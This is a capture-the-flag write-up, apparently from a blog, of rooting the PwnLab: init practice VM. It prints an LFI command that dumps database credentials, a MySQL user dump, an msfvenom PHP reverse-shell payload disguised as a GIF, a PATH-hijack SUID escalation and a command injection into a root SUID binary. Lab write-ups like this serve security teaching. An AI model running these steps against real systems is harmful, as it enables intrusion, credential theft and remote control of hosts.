Information Gathering
First, I run a TCP Scan to enumerate the host.
$nmap -vv -n -Pn -p- -sV -A 192.168.56.103
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 37203/udp status
|_ 100024 1 50129/tcp status
3306/tcp open mysql syn-ack ttl 64 MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 53
| Version: .5.47-0+deb8u1
| Thread ID: 39
| Capabilities flags: 63487
| Some Capabilities: LongPassword, Support41Auth, SupportsCompression, Speaks41ProtocolNew, SupportsLoadDataLocal, FoundRows, SupportsTransactions, ConnectWithDatabase, IgnoreSigpipes, LongColumnFlag, InteractiveClient, Speaks41ProtocolOld, ODBCClient, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn
| Status: Autocommit
|_ Salt: :LQ3IVT$U^Y&O>%?LCI$
50129/tcp open status syn-ack ttl 64 1 (RPC #100024)
MAC Address: 08:00:27:94:0C:7C (Oracle VirtualBox virtual NIC)
Local Privilege
With the help of an article (https://diablohorn.com/2010/01/16/interesting-local-file-inclusion-method/), I was able to find a PHP local file inclusion. I was then able to curl the page information and base64 decode it.
curl http://192.168.56.103/?page=php://filter/convert.base64-encode/resource=config
Config.php
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
I also pulled down the source for the upload page, to find how to bypass filtering and upload a shell.
upload.php
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
From upload.php I learn that only users that are logged in are authorized to upload. So I login to mysql using the credentials from config.php and dump the users table. They are base64 encoded, so I decode those as well.
root@kali:~/Desktop# mysql -u root -p -h 192.168.56.103
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1558
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Users |
+--------------------+
2 rows in set (0.00 sec)
mysql> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.00 sec)
mysql> Select * from users;
+------+------------------+---------------+
| user | pass | Base64 Decode |
+------+------------------+---------------+
| kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy |
| mike | U0lmZHNURW42SQ== | SIfdsTEn6I |
| kane | aVN2NVltMkdSbw== | iSv5Ym2GRo |
+------+------------------+---------------+
3 rows in set (0.00 sec)
Knowing that only image types can be uploaded, I embed a php meterpreter into a malicious gif using msfvenom.
root@kali:~/Desktop# echo GIF98 > shell.gif
root@kali:~/Desktop# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.101 LPORT=443 >> shell.gif
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 26801 bytes
I also found an LFI in index.php that will help us execute that shell.
index.php
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
...
I then upload the shell.gif into the uploader, and get the id of the file by browsing to the directory (http://192.168.56.103/upload/). Then I browse to index.php and tamper with the lang cookie using a proxy to invoke my malicious gif.
Privilege Escalation
This creates a meterpreter session and I use python to gain a TTY.
meterpreter > shell
Process 1435 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty;pty.spawn("/bin/bash")'
I switch users to kane with credential reuse. Once I become kane, I notice a SUID binary in kane's home folder owned by mike. I run strings on the executable to potentially see what is going on.
kane@pwnlab:~$ ls -lah
ls -lah
total 28K
drwxr-x--- 2 kane kane 4.0K Mar 17 13:04 .
drwxr-xr-x 6 root root 4.0K Mar 17 10:09 ..
-rw-r--r-- 1 kane kane 220 Mar 17 10:09 .bash_logout
-rw-r--r-- 1 kane kane 3.5K Mar 17 10:09 .bashrc
-rwsr-sr-x 1 mike mike 5.1K Mar 17 13:04 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 10:09 .profile
kane@pwnlab:~$ strings msgmike
...
cat /home/mike/msg.txt
...
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
By changing the order of the PATH execution, I can create my own cat that will run a shell as mike.
kane@pwnlab:~$ echo "/bin/sh" > cat
echo "/bin/sh" > cat
kane@pwnlab:~$ chmod 777 cat
chmod 777 cat
kane@pwnlab:~$ export PATH=.:$PATH
export PATH=.:$PATH
kane@pwnlab:~$ echo $PATH
echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ ./msgmike
./msgmike
$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
Now that I am mike, I move to the mike directory. where I find another SUID binary, but this time it is for root. I run strings to understand what it is doing. I come to learn that it is doing a basic string substitution that is a perfect basic command execution.
$ cd /home/mike
$ ls -lah
total 28K
drwxr-x--- 2 mike mike 4.0K Mar 17 15:19 .
drwxr-xr-x 6 root root 4.0K Mar 17 10:09 ..
-rw-r--r-- 1 mike mike 220 Mar 17 10:08 .bash_logout
-rw-r--r-- 1 mike mike 3.5K Mar 17 10:08 .bashrc
-rwsr-sr-x 1 root root 5.3K Mar 17 13:07 msg2root
-rw-r--r-- 1 mike mike 675 Mar 17 10:08 .profile
$ strings msg2root
...
Message for root:
/bin/echo %s >> /root/messages.txt
...
I append a shell to escalate my privilege to root. Then I am able to find and print the flag.
$ ./msg2root
./msg2root
Message for root: test;/bin/sh
test;/bin/sh
test
# id
id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
# ls -lah /root
ls -lah /root
total 20K
drwx------ 2 root root 4.0K Mar 17 15:17 .
drwxr-xr-x 21 root root 4.0K Mar 17 09:13 ..
lrwxrwxrwx 1 root root 9 Mar 17 10:06 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
---------- 1 root root 1.8K Mar 17 15:17 flag.txt
lrwxrwxrwx 1 root root 9 Mar 17 13:10 messages.txt -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 17 13:10 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
# cat /root/flag.txt
cat /root/flag.txt
.-=~=-. .-=~=-.
(__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _)
(_ ___) _____ _ (_ ___)
(__ _) / __ \ | | (__ _)
( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __)
(__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___)
(__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _)
( _ __) __/ | ( _ __)
(__ _) |___/ (__ _)
(__ _) (__ _)
(_ ___) If you are reading this, means that you have break 'init' (_ ___)
( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __)
(__ _) this challenge. (__ _)
(_ ___) (_ ___)
( _ __) Please send me your feedback or your writeup, I will love ( _ __)
(__ _) reading it (__ _)
(__ _) (__ _)
(__ _) For sniferl4bs.com (__ _)
( _ __) claor@PwnLab.net - @Chronicoder ( _ __)
(__ _) (__ _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-' `-._.-'
#
Special thanks to Claor for making this VM. That early PHP LFI was really interesting!
No comments:
Post a Comment